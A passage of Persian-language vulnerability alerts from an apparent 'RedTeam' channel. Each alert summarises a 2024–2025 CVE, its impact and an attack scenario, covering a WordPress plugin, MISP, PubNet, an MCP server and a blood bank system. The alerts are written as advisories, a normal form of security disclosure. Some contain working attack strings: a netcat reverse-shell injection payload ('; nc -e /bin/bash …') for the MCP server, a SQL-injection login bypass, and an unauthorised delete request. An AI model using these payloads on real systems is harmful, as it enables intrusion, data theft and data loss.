۴. در نتیجه، اسکریپت مخرب در مرورگر قربانی اجرا شده و می‌تواند منجر به سرقت کوکی نشست (Session Cookie) او و در اختیار گرفتن کامل حساب کاربری‌اش شود.

---

🛡️ راهکار و پیشنهاد امنیتی:

به تمامی مدیران سیستم و کاربران Logpoint اکیداً توصیه می‌شود در اسرع وقت نسبت به به‌روزرسانی پلتفرم خود به نسخه 7.7.0 یا بالاتر اقدام نمایند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-58303

🟠 Risk Level: HIGH (Score: 8.4)

🔬 شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع Use-After-Free (UAF) با شناسه CVE-2025-58303 در ماژول مربوط به فریم‌ورک ضبط صفحه نمایش (Screen Recording) شناسایی شده است.

این نقص امنیتی زمانی رخ می‌دهد که برنامه پس از آزاد کردن یک بخش از حافظه، همچنان تلاش می‌کند از آن استفاده کند. این امر منجر به خرابی حافظه و رفتار غیرقابل پیش‌بینی در برنامه می‌شود.

💥 میزان تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند به طور مستقیم بر در دسترس بودن (Availability) سیستم تأثیر بگذارد.

در بدترین حالت، این نقص امنیتی می‌تواند منجر به یک حمله محروم‌سازی از سرویس (Denial of Service - DoS) شود. این امر با از کار انداختن فرآیند ضبط صفحه یا حتی کل رابط کاربری سیستم، دستگاه را غیرقابل استفاده کرده و کاربر را مجبور به راه‌اندازی مجدد آن می‌کند.

🎬 سناریوی حمله:

مهاجم می‌تواند یک اپلیکیشن مخرب طراحی کند که از کاربر درخواست مجوز برای ضبط صفحه نمایش را می‌نماید.

پس از دریافت مجوز، اپلیکیشن با ارسال داده‌های دستکاری‌شده و غیرمنتظره به فریم‌ورک ضبط صفحه، باعث ایجاد یک وضعیت Use-After-Free می‌شود. این عمل با مجبور کردن سیستم به آزاد کردن حافظه در حین استفاده از آن صورت می‌گیرد. در نتیجه، سرویس مربوطه دچار اختلال شده و از کار می‌افتد (Crash) و در نهایت منجر به قفل شدن یا راه‌اندازی مجدد دستگاه می‌شود.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-58302

🟠 Risk Level: HIGH (Score: 8.4)

تحلیل آسیب‌پذیری: CVE-2025-58302

شرح آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-58302 به یک نقص امنیتی جدی در بخش کنترل دسترسی‌ها (Permission Control) در ماژول تنظیمات اشاره دارد. این ضعف به یک عامل مخرب اجازه می‌دهد تا محدودیت‌های امنیتی تعریف‌شده را دور زده و به بخش‌هایی از تنظیمات دسترسی پیدا کند که در حالت عادی مجاز به مشاهده یا تغییر آن‌ها نیست.

تأثیرات و پیامدها:
مهم‌ترین پیامد بهره‌برداری موفق از این آسیب‌پذیری، نقض محرمانگی اطلاعات (Confidentiality) است. این امر می‌تواند منجر به افشای داده‌های حساس کاربران، تنظیمات محرمانه سرویس، یا اطلاعات شخصی ذخیره‌شده در برنامه شود. در نتیجه، حریم خصوصی کاربران به خطر افتاده و امکان سوءاستفاده از اطلاعات فاش‌شده توسط مهاجمان وجود خواهد داشت.

سناریوی حمله:
یک مهاجم با دسترسی سطح پایین به سیستم (یا از طریق یک اپلیکیشن مخرب نصب‌شده روی دستگاه کاربر) را در نظر بگیرید. مهاجم با ارسال یک درخواست دستکاری‌شده و خاص به ماژول تنظیمات، از این نقص بهره‌برداری می‌کند. به دلیل ضعف در مکانیزم بررسی مجوزها، سیستم قادر به تشخیص درخواست غیرمجاز نبوده و در نتیجه، دسترسی به یک بخش محافظت‌شده از تنظیمات را برای مهاجم فراهم می‌کند. برای مثال، مهاجم ممکن است بتواند به اطلاعاتی مانند توکن‌های احراز هویت (Session Tokens) یا داده‌های خصوصی کاربر دسترسی پیدا کرده و آن‌ها را استخراج نماید.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66384

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری | CVE-2025-66384

🐞 توضیحات آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-66384 در پلتفرم اشتراک‌گذاری اطلاعات بدافزار (MISP) در نسخه‌های قبل از 2.5.24 شناسایی شده است. نقص اصلی در فایل app/Controller/EventsController.php قرار دارد و به دلیل وجود منطق نادرست در فرآیند اعتبارسنجی فایل‌های آپلود شده به وجود آمده است. به طور خاص، نحوه بررسی فایل موقت (tmp_name) در هنگام آپلود ضعیف بوده و به یک مهاجم اجازه می‌دهد تا مکانیزم‌های امنیتی را دور زده و یک فایل مخرب را بارگذاری کند.

⚠️ تأثیر:
بهره‌برداری موفقیت‌آمیز از این آسیب‌پذیری می‌تواند منجر به اجرای کد از راه دور (RCE) بر روی سرور میزبان MISP شود. این بدان معناست که یک مهاجم می‌تواند کنترل کامل سرور را به دست آورد، به تمام اطلاعات حساس و طبقه‌بندی‌شده ذخیره شده در پلتفرم (مانند شاخص‌های نفوذ - IoC) دسترسی پیدا کرده، آن‌ها را سرقت یا دستکاری کند و یا از سرور آلوده به عنوان نقطه‌ای برای حملات بیشتر به زیرساخت شبکه داخلی سازمان استفاده نماید.

🎬 سناریو:
یک مهاجم با داشتن یک حساب کاربری معتبر در پلتفرم MISP، یک فایل مخرب (به عنوان مثال، یک وب‌شل با پسوند PHP) را با نامی فریبنده شبیه به یک فایل تصویر (مثلاً report.jpg) آماده می‌کند. سپس، مهاجم وارد بخش ایجاد یا ویرایش یک "رویداد" (Event) شده و فایل مخرب خود را به عنوان ضمیمه آپلود می‌کند. به دلیل نقص منطقی در کد، سیستم قادر به تشخیص ماهیت واقعی فایل نیست و آن را در یک مسیر قابل دسترس بر روی سرور ذخیره می‌کند. در نهایت، مهاجم با فراخوانی مستقیم آدرس فایل آپلود شده از طریق مرورگر، کدهای مخرب را اجرا کرده و به سرور دسترسی کامل پیدا می‌کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65112

🔴 Risk Level: CRITICAL (Score: 9.4)

تحلیل آسیب‌پذیری CVE-2025-65112 در سرویس PubNet

---

شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-65112 در سرویس میزبانی پکیج‌های Dart و Flutter به نام PubNet شناسایی شده است. در نسخه‌های قبل از 1.1.3، نقطه پایانی (endpoint) به آدرس /api/storage/upload به کاربران احرازهویت‌نشده اجازه می‌دهد تا با ارسال یک شناسه نویسنده (author-id) دلخواه، پکیج‌هایی را به نام هر کاربر دیگری آپلود کنند.

این نقص امنیتی به دلیل عدم اعتبارسنجی صحیح هویت کاربر در هنگام آپلود پکیج رخ می‌دهد و به مهاجمان اجازه می‌دهد خود را به عنوان توسعه‌دهندگان معتبر جا بزنند. نسخه 1.1.3 این مشکل را برطرف کرده است.

تأثیرات:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به عواقب جدی زیر شود:

▪️ جعل هویت (Identity Spoofing): مهاجم می‌تواند با جعل هویت یک توسعه‌دهنده معتبر، پکیج‌های مخرب را منتشر کرده و اعتماد سایر کاربران را جلب کند.

▪️ افزایش سطح دسترسی (Privilege Escalation): یک کاربر غیرمجاز می‌تواند با آپلود پکیج به نام یک کاربر با دسترسی بالاتر (مانند مدیر)، عملاً به سطح دسترسی او در اکوسیستم مدیریت پکیج دست یابد.

▪️ حملات زنجیره تأمین (Supply Chain Attacks): این جدی‌ترین پیامد است. با تزریق پکیج‌های آلوده به مخزن، پروژه‌های دیگری که از این پکیج‌ها به عنوان وابستگی (dependency) استفاده می‌کنند، در معرض خطر قرار گرفته و بدافزار به طور گسترده در زنجیره تأمین نرم‌افزار پخش می‌شود.

سناریوی حمله:

یک سناریوی حمله محتمل به شرح زیر است:

۱. مهاجم یک سرور PubNet را که از نسخه‌ای قدیمی‌تر از 1.1.3 استفاده می‌کند، شناسایی می‌کند.

۲. مهاجم شناسه کاربری (author-id) یک توسعه‌دهنده معتبر و شناخته‌شده در آن سرور را به دست می‌آورد.

۳. سپس، یک نسخه مخرب از یکی از پکیج‌های محبوب آن توسعه‌دهنده ایجاد می‌کند و یک بدافزار (مثلاً یک ابزار سرقت اطلاعات) را در آن جاسازی می‌کند.

۴. مهاجم یک درخواست به نقطه پایانی /api/storage/upload ارسال کرده و ضمن آپلود پکیج آلوده، شناسه توسعه‌دهنده معتبر را به عنوان author-id در درخواست خود مشخص می‌کند.

۵. سرور PubNet بدون بررسی هویت واقعی آپلودکننده، پکیج را می‌پذیرد و آن را به عنوان یک نسخه جدید و قانونی از پکیج اصلی منتشر می‌کند.

۶. سایر توسعه‌دهندگان و سیستم‌های CI/CD به صورت خودکار این «به‌روزرسانی» را دریافت کرده و ناآگاهانه کد مخرب را در پروژه‌های خود وارد می‌کنند و باعث یک نفوذ گسترده می‌شوند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13615

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری CVE-2025-13615

با سلام و احترام، گزارش تحلیل آسیب‌پذیری جدید در افزونه وردپرس به شرح زیر ارائه می‌گردد:

آسیب‌پذیری:
آسیب‌پذیری از نوع تغییر رمز عبور произвольный کاربر (Arbitrary User Password Change) در افزونه StreamTube Core برای وردپرس شناسایی شده است. این ضعف امنیتی تمام نسخه‌های 4.78 و قدیمی‌تر را تحت تأثیر قرار می‌دهد.

علت اصلی این آسیب‌پذیری، نقص در کنترل دسترسی به آبجکت‌های کاربری است. این نقص به یک مهاجم احراز هویت نشده اجازه می‌دهد تا مکانیزم‌های مجوزدهی را دور زده و به منابع سیستمی، از جمله اطلاعات حساب‌های کاربری، دسترسی پیدا کند.

نکته مهم: بهره‌برداری از این آسیب‌پذیری تنها در صورتی امکان‌پذیر است که گزینه "فیلدهای رمز عبور ثبت‌نام" (registration password fields) در تنظیمات پوسته فعال باشد.

تأثیر:
سطح تأثیر این آسیب‌پذیری بحرانی (Critical) ارزیابی می‌شود. یک مهاجم می‌تواند بدون نیاز به نام کاربری و رمز عبور، رمز عبور هر کاربری را در وب‌سایت، از جمله حساب administrator (مدیر کل)، تغییر دهد.

پیامدهای اصلی عبارتند از:
- تصاحب کامل حساب کاربری (Account Takeover): مهاجم کنترل کامل حساب کاربری قربانی را به دست می‌گیرد.
- دسترسی کامل به وب‌سایت: در صورت هدف قرار دادن حساب مدیر، مهاجم کنترل کامل وب‌سایت را به دست می‌آورد.
- سرقت اطلاعات: امکان دسترسی و سرقت اطلاعات حساس کاربران و وب‌سایت.
- تخریب و آسیب به اعتبار: مهاجم می‌تواند محتوای سایت را تغییر دهد، بدافزار تزریق کند یا وب‌سایت را از دسترس خارج نماید.

سناریو حمله:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم یک وب‌سایت وردپرسی را که از نسخه آسیب‌پذیر افزونه StreamTube Core استفاده می‌کند، شناسایی می‌کند.

۲. مهاجم بررسی می‌کند که آیا گزینه "فیلدهای رمز عبور ثبت‌نام" در تنظیمات پوسته فعال است یا خیر.

۳. مهاجم یک درخواست دستکاری‌شده (malicious request) به سمت وب‌سایت ارسال می‌کند. این درخواست حاوی نام کاربری قربانی (مثلاً admin) و رمز عبور جدید مورد نظر مهاجم است.

۴. به دلیل نقص در منطق برنامه، افزونه این درخواست را بدون بررسی هویت و مجوز درخواست‌کننده پردازش می‌کند.

۵. رمز عبور حساب کاربری مورد نظر (مثلاً admin) به رمز عبور جدیدی که مهاجم ارسال کرده، تغییر می‌یابد.

۶. در نهایت، مهاجم با استفاده از نام کاربری و رمز عبور جدید وارد سیستم شده و کنترل کامل حساب را به دست می‌گیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-35028

🔴 Risk Level: CRITICAL (Score: 9.1)

تحلیل آسیب‌پذیری | CVE-2025-35028
#Vulnerability #RCE #CommandInjection

---

📝 شرح آسیب‌پذیری:
یک آسیب‌پذیری حیاتی از نوع تزریق دستور (Command Injection) در کلاس EnhancedCommandExecutor مربوط به سرور HexStrike AI MCP شناسایی شده است. این مشکل در نسخه مربوط به کامیت 2f3a5512 (سپتامبر ۲۰۲۵) وجود دارد.

این آسیب‌پذیری به مهاجم اجازه می‌دهد با ارسال یک آرگومان خط فرمان که با کاراکتر سمی‌کالن (;) شروع می‌شود به یکی از نقاط پایانی API (API endpoint)، دستورات دلخواه خود را بر روی سرور اجرا کند. در پیکربندی پیش‌فرض، سرور هیچ‌گونه پاک‌سازی (Sanitization) یا اعتبارسنجی روی این ورودی‌ها انجام نمی‌دهد و دستور مخرب مستقیماً به پوسته سیستم‌عامل (Shell) ارسال می‌شود.

💥 تاثیرات:
مهم‌ترین پیامد این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution - RCE) با بالاترین سطح دسترسی ممکن است. از آنجایی که سرور MCP معمولاً با دسترسی کاربر root اجرا می‌شود، بهره‌برداری موفق از این حفره امنیتی به مهاجم کنترل کامل سرور را می‌دهد.

تاثیرات بالقوه شامل موارد زیر است:
- سرقت، تغییر یا حذف کامل داده‌های حساس.
- نصب بدافزار، روت‌کیت یا ایجاد درهای پشتی (Backdoor).
- استفاده از سرور قربانی برای حمله به سایر سیستم‌های داخل شبکه.
- از کار انداختن کامل سرویس (Denial of Service).

🎭 سناریوی حمله:
یک مهاجم، API endpoint آسیب‌پذیر را شناسایی کرده و یک درخواست مخرب ایجاد می‌کند. در این درخواست، یکی از آرگومان‌های ارسالی به شکل زیر خواهد بود:
; nc -e /bin/bash 192.168.1.100 4444

سرور MCP این ورودی را بدون هیچ‌گونه بررسی دریافت کرده و یک دستور سیستمی مشابه زیر را در سمت سرور ترکیب و اجرا می‌کند:
/path/to/tool --parameter 'some_value' ; nc -e /bin/bash 192.168.1.100 4444

به دلیل وجود کاراکتر ;، سیستم‌عامل دستور اول را خاتمه داده و دستور دوم (ایجاد یک reverse shell به سمت مهاجم) را به عنوان یک دستور کاملاً مجزا با دسترسی root اجرا می‌کند. در نتیجه، مهاجم یک شل با دسترسی کامل روی سرور هدف به دست می‌آورد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63525

🔴 Risk Level: CRITICAL (Score: 9.6)

گزارش تحلیل آسیب‌پذیری: CVE-2025-63525

🚨 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-63525 در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است. این ضعف امنیتی از نوع "افزایش سطح دسترسی" (Privilege Escalation) است. یک مهاجم که به سیستم دسترسی احرازهویت‌شده (Authenticated) دارد، حتی با کمترین سطح دسترسی، می‌تواند با ارسال یک درخواست دستکاری‌شده به فایل delete.php، اقدام به حذف رکوردهایی کند که مجوز آن را ندارد.

ریشه مشکل در عدم بررسی صحیح مجوزهای کاربر درخواست‌دهنده توسط اسکریپت delete.php است. در واقع، سیستم فقط "هویت" کاربر را بررسی می‌کند نه "اختیارات" او را برای انجام عمل حذف.

💥 میزان تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای جدی شود:

یکپارچگی داده‌ها: مهاجم قادر خواهد بود اطلاعات حیاتی مانند سوابق اهداکنندگان، موجودی بانک خون، یا حتی حساب‌های کاربری دیگر (شامل مدیران) را به صورت غیرمجاز حذف کند.

ممانعت از سرویس (DoS): با حذف داده‌های کلیدی یا حساب‌های کاربری اصلی، عملکرد کل سیستم مختل شده و از دسترس کاربران قانونی خارج می‌شود.

پتانسیل حملات بیشتر: این آسیب‌پذیری می‌تواند به عنوان نقطه‌ای برای حملات زنجیره‌ای مورد استفاده قرار گیرد و امنیت کلی سیستم را به خطر اندازد.

---

🎭 سناریوی حمله:

۱. مهاجم یک حساب کاربری با سطح دسترسی پایین در سیستم مدیریت بانک خون ثبت می‌کند.

۲. پس از ورود به سیستم، با ابزارهای مانیتورینگ ترافیک، درخواست‌های ارسالی به سرور را تحلیل می‌کند و متوجه می‌شود که عملیات حذف از طریق فایلی به نام delete.php و با یک پارامتر ID (مثلاً id=123) انجام می‌شود.

۳. مهاجم با حدس زدن یا شمارش (Enumeration)، شناسه‌ی (ID) رکوردهای مهمی را که به آن‌ها دسترسی ندارد (مانند سوابق بیماران یا کاربران دیگر) پیدا می‌کند.

۴. سپس یک درخواست HTTP دستکاری‌شده را مستقیماً به سرور ارسال می‌کند. برای مثال، برای حذف رکورد یک کاربر دیگر با شناسه 456، درخواستی مشابه زیر ارسال می‌کند:
GET /delete.php?user_id=456

۵. از آنجایی که اسکریپت delete.php سطح دسترسی کاربر را برای حذف رکورد با شناسه 456 بررسی نمی‌کند، درخواست مخرب را پردازش کرده و رکورد مورد نظر را حذف می‌کند. به این ترتیب، مهاجم با موفقیت یکپارچگی داده‌های سیستم را نقض می‌کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63531

🔴 Risk Level: CRITICAL (Score: 10.0)

🔎 شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع تزریق SQL با شناسه CVE-2025-63531 در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است.

این ضعف امنیتی در کامپوننت receiverLogin.php وجود دارد. مشکل اصلی، عدم پاکسازی و اعتبارسنجی صحیح ورودی‌های کاربر در فیلدهای remail و rpassword است. در نتیجه، یک مهاجم می‌تواند با ارسال مقادیر دستکاری‌شده، کدهای SQL دلخواه خود را به کوئری پایگاه داده تزریق کند.

---

⚠️ تأثیر:

اصلی‌ترین پیامد این آسیب‌پذیری، دور زدن کامل سیستم احراز هویت است.

مهاجم می‌تواند بدون نیاز به نام کاربری و رمز عبور معتبر، به پنل مدیریت یا بخش‌های حساس سیستم دسترسی غیرمجاز پیدا کند. این دسترسی می‌تواند منجر به سرقت، تغییر یا حذف اطلاعات حساس بیماران، اهداکنندگان و سوابق پزشکی ذخیره‌شده در سیستم شود.

---

🎯 سناریوی حمله:

۱. مهاجم به صفحه ورود سیستم (receiverLogin.php) مراجعه می‌کند.

۲. در فیلد ایمیل یا رمز عبور، به جای اطلاعات واقعی، یک قطعه کد SQL مخرب مانند ' OR '1'='1' -- وارد می‌کند.

۳. سرور این ورودی را بدون پاکسازی در کوئری پایگاه داده قرار می‌دهد. کوئری نهایی چیزی شبیه به SELECT * FROM users WHERE remail = '' OR '1'='1' -- ' AND rpassword = '...' خواهد بود.

۴. شرط '1'='1' همیشه درست (True) ارزیابی می‌شود و باعث می‌شود پایگاه داده اولین رکورد کاربر را بازگردانده و سیستم به اشتباه تصور کند که احراز هویت موفقیت‌آمیز بوده است. در نتیجه، مهاجم با سطح دسترسی کاربر قربانی به سیستم وارد می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2024-48882

🟠 Risk Level: HIGH (Score: 8.6)

گزارش تحلیل آسیب‌پذیری: CVE-2024-48882
عنوان: منع سرویس در تجهیزات Socomec DIRIS Digiware M-70

📄 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع «منع سرویس» (Denial of Service) در عملکرد پروتکل Modbus TCP دستگاه Socomec DIRIS Digiware M-70 با نسخه 1.6.9 شناسایی شده است. این ضعف امنیتی به مهاجم اجازه می‌دهد تا با ارسال یک بسته شبکه خاص و دستکاری‌شده، عملکرد دستگاه را متوقف کند.

💥 تأثیر:
یک مهاجم بدون نیاز به احراز هویت (Unauthenticated) می‌تواند با ارسال یک بسته مخرب به دستگاه هدف، باعث از کار افتادن و عدم پاسخگویی کامل آن شود. این حمله منجر به یک وضعیت منع سرویس (DoS) شده و می‌تواند عملیات‌های حیاتی مانیتورینگ و کنترل صنعتی که به این تجهیز وابسته هستند را مختل سازد.

🎭 سناریوی حمله:
مهاجمی که به شبکه محلی دستگاه آسیب‌پذیر دسترسی دارد، یک بسته Modbus TCP با ساختار نامعتبر را به پورت مربوطه ارسال می‌کند. سفت‌افزار (Firmware) دستگاه قادر به پردازش صحیح این بسته غیرمنتظره نبوده و دچار کرش (Crash) یا هنگ (Freeze) می‌شود. در این حالت، دستگاه تا زمان راه‌اندازی مجدد دستی (Manual Reboot) از دسترس خارج خواهد شد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal